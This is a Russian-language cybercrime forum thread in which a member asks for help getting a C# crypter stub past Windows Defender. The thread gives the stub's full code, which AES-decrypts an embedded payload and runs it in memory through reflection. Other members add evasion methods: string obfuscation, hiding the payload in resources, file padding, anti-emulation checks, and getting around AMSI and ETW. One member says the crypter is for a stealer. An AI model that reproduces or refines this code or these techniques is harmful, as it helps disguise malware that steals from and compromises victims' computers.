• XSS.stack #1 – первый литературный журнал от юзеров форума

Детект от дефендера

D0gger

Malware
Пользователь
Регистрация
02.02.2022
Сообщения
47
Реакции
24
Депозит
6.52 Ł
1664151071931.png

в процессе написания криптора столкнулся с этим детектом, не каким образом снять не получается. Из за чего идёт этот детект, и как от него избавится?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
кроптор скорее всего на jse или vbe? обычно script\wacatac появляется из за наличия нескольких ключевых фраз подряд.
пробуй скрыть текстовые переменные, разбей код на функции и процедуры.
 
кроптор скорее всего на jse или vbe? обычно script\wacatac появляется из за наличия нескольких ключевых фраз подряд.
пробуй скрыть текстовые переменные, разбей код на функции и процедуры.
стаб криптора пишу на c#, шифровать строки пробовал, разбивать на несколько функций тоже пробовал это мне не помогло
 
Пожалуйста, обратите внимание, что пользователь заблокирован
стаб криптора пишу на c#
а проверячешь на чем на детект?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
проверяю детект на своих вм
файл переименовывай, машину перезагружай перед проверкой. еще раз попробуй строки спрятать. измени метод хранения того что криптуешь. попробуй в картинку засунуть в рессурсах, смени метода шифровки\дешифровки, попробуй использовать более легитимные методы. прояви творческий подход
можешь код сюда выложить, так будет проще понять
 
файл переименовывай, машину перезагружай перед проверкой. еще раз попробуй строки спрятать. измени метод хранения того что криптуешь. попробуй в картинку засунуть в рессурсах, смени метода шифровки\дешифровки, попробуй использовать более легитимные методы. прояви творческий подход
можешь код сюда выложить, так будет проще понять
первые два пункта учту к сведению. Строки пробовал ксорить, обфуксировать через нетреактор/крипто обфуксатор. Закриптованый файл пробовал хранить в трех местах в коде, в конце файла, в ресурсах. Из методов шифровки пробовал aes/xor (остановился на aes).

код стаба:
C#:
using System;
using System.IO;
using System.Text;
using System.Reflection;
using System.Security.Cryptography;

namespace stub
{

    class aesIVector
    {
        public byte[] IV = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
    }
    class aeskey
    {
        public string key = "KedfdasDSA1";
    }
   
    class hex
    {
        public static string hexByte;
    }

    class aes
    {
        public byte[] decyptFile;

        public aes()
        {
            aesIVector f = new aesIVector();
            aeskey s = new aeskey();

            SymmetricAlgorithm crypt = Aes.Create();
            HashAlgorithm hash = MD5.Create();
            crypt.Key = hash.ComputeHash(Encoding.Unicode.GetBytes(s.key));
            crypt.IV = f.IV;

            byte[] encryptedFile = Program.StringToByteArray(hex.hexByte);


            using (MemoryStream memoryStream = new MemoryStream(encryptedFile))
            {
                using (CryptoStream cryptoStream =
                   new CryptoStream(memoryStream, crypt.CreateDecryptor(), CryptoStreamMode.Read))
                {
                    byte[] decryptedBytes = new byte[encryptedFile.Length];
                    cryptoStream.Read(decryptedBytes, 0, decryptedBytes.Length);
                    decyptFile = decryptedBytes;
                }
            }
        }
    }
    static class Program
    {
        public static byte[] StringToByteArray(String hex)
        {
            int NumberChars = hex.Length;
            byte[] bytes = new byte[NumberChars / 2];
            for (int i = 0; i < NumberChars; i += 2)
                bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);
            return bytes;
        }
      
        static void Main()
        {
            hex.hexByte = "[HEX]"; //тут будет лежать шифрованый файл 
            aes decypt = new aes(); //расшыфровка файла

            //----запуск файла
            Assembly assembly = Assembly.Load(decypt.decyptFile); 
            assembly.EntryPoint.Invoke(null, new object[assembly.EntryPoint.GetParameters().Length]);
        }
    }
}
 
Пожалуйста, обратите внимание, что пользователь заблокирован
а что именно криптуешь? может сам бинарник грязый?в коде не вижу ничего такого. не должен дефендер ругаться
 
а что именно криптуешь? может сам бинарник грязый?в коде не вижу ничего такого. не должен дефендер ругаться
криптуй свой стиллер, сам он дефендером не детектиться
 
криптуй свой стиллер, сам он дефендером не детектиться
C#:
Assembly assembly = Assembly.Load(decypt.decyptFile);
assembly.EntryPoint.Invoke(null, new object[assembly.EntryPoint.GetParameters().Length]);
Закомменти и запусти, должно быть вот здесь, еще может быть на MD5. Вообще комменти весь код и ищи на что именно орет.
Еще может по энтропии: https://xss.pro/threads/73225/

Главное отключенная отправка в клауд и откат снапшота перед чеком из-за кэша.
 
C#:
Assembly assembly = Assembly.Load(decypt.decyptFile);
assembly.EntryPoint.Invoke(null, new object[assembly.EntryPoint.GetParameters().Length]);
Закомменти и запусти, должно быть вот здесь, еще может быть на MD5. Вообще комменти весь код и ищи на что именно орет.
Еще может по энтропии: https://xss.pro/threads/73225/

Главное отключенная отправка в клауд и откат снапшота перед чеком из-за кэша.
Действительно, детект идёт на эти 2 строки. Попробовал заменить их на drop&run, но тот же детект остается
 
Действительно, детект идёт на эти 2 строки. Попробовал заменить их на drop&run, но тот же детект остается
Детект вешается на эти метаданные и запуск бинаря через EntryPoint.Invoke.
Либо обфускация этого вызова (попробовать Activator.CreateInstance или рантайм генерацию вызова другим способом), либо никак, я пробовал. Пробуй ConfuserEx и разные параметры (на него все равно есть детект с облака, но вдруг повезет).
Если совсем не получается - пробуй раздувать файл до 750мб, картинки там в ресурсы добавить, etc.
 
Детект вешается на эти метаданные и запуск бинаря через EntryPoint.Invoke.
Либо обфускация этого вызова (попробовать Activator.CreateInstance или рантайм генерацию вызова другим способом), либо никак, я пробовал. Пробуй ConfuserEx и разные параметры (на него все равно есть детект с облака, но вдруг повезет).
Если совсем не получается - пробуй раздувать файл до 750мб, картинки там в ресурсы добавить, etc.
Сейчас я проверил, детект идёт на строку Assembly.Load, что с этим можно сделать?
(попробовал накинуть конфезер, у него другой детект)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
после того как накинул конфезер какое название сигнатуры теперь?
 
Всё что имеет "ml" - это детект эмулятора, надо запутать эмуль либо его задетектить и выйти если эмулируется процесс

Читаем - https://i.blackhat.com/us-18/Thu-Au...ring-Windows-Defenders-Antivirus-Emulator.pdf

Далее готовые варианты:

1) https://github.com/hfiref0x/UACME/blob/master/Source/Shared/windefend.c#L190
2) https://github.com/hfiref0x/UACME/blob/master/Source/Shared/windefend.c#L212
3) https://github.com/hfiref0x/UACME/blob/master/Source/Shared/windefend.c#L263

обязательно читаем комменты к функциям по ссылкам выше
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Мои 5 копеек к этому всему, на с# дефендером почему то код палится чаще чем на других языках. Даже при написании на простейшего кода который чекает открыт ли диспетчер задач с# моментально палится, с++ и python нет.
 
Касательно антиэмуля есть несколько вариантов, можно сделать на математических операциях (Здесь это уже описывалось не раз, пошерсти темы на форуме), вкратце суть в том, что определенная константа, от которой зависит выполнение последующего кода (например, ключ шифрования какой-то) высчитывается в рантайме, эмулятор не сможет скипнуть этот код в связи с тем, что нарушится работоспособность твоего софта. А второй вариант конечно проще, попробуй поиграться с COM вызовами, смотри на возвращаемое значение и по нему определай, в эмуляторе ты или нет (Поток фантазии, не факт что сработает, по крайней мере простые апи вызовы в большинстве точно эмулируются)
 
К теме не относится, но так же не стоит забывать про амси, начиная с .NET какой-то там версии (Честно хз, у меня все скрипты чистые от амси по дефолту) содержимое буфера, который ты передаешь на исполнение в Assembly.Load() будет подвержено сканированию, хорошо бы его заморфить нормально
 
К теме не относится, но так же не стоит забывать про амси, начиная с .NET какой-то там версии (Честно хз, у меня все скрипты чистые от амси по дефолту) содержимое буфера, который ты передаешь на исполнение в Assembly.Load() будет подвержено сканированию, хорошо бы его заморфить нормально
амси на шарп не распространяется. Это dll, который загружается в exe скриптовых языков и парсит его элементы передавая к зареганному провайдеру аверу констаты (т.е. строки, апи вызовы).
Тут еще забыли обойти etw (оно чекает загрузил ли ты в память приложуху, ну как тут в случае с assembly load).
Лучшее решение это поморфить асембли лоад (читай про рефлексию) и обойти etw

Касательно антиэмуля есть несколько вариантов, можно сделать на математических операциях (Здесь это уже описывалось не раз, пошерсти темы на форуме), вкратце суть в том, что определенная константа, от которой зависит выполнение последующего кода (например, ключ шифрования какой-то) высчитывается в рантайме, эмулятор не сможет скипнуть этот код в связи с тем, что нарушится работоспособность твоего софта. А второй вариант конечно проще, попробуй поиграться с COM вызовами, смотри на возвращаемое значение и по нему определай, в эмуляторе ты или нет (Поток фантазии, не факт что сработает, по крайней мере простые апи вызовы в большинстве точно эмулируются)
Скорее эффективное решение - это хороший антиэмуль и в основном это не мат выражения, его изи хавает оптимизация (в случае C++ и прочего). Я бы посоветовал брутить по хешу в рантайме как где-то тут описано и был сэмпл. Сами com вызовы так же могут эмулироваться.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх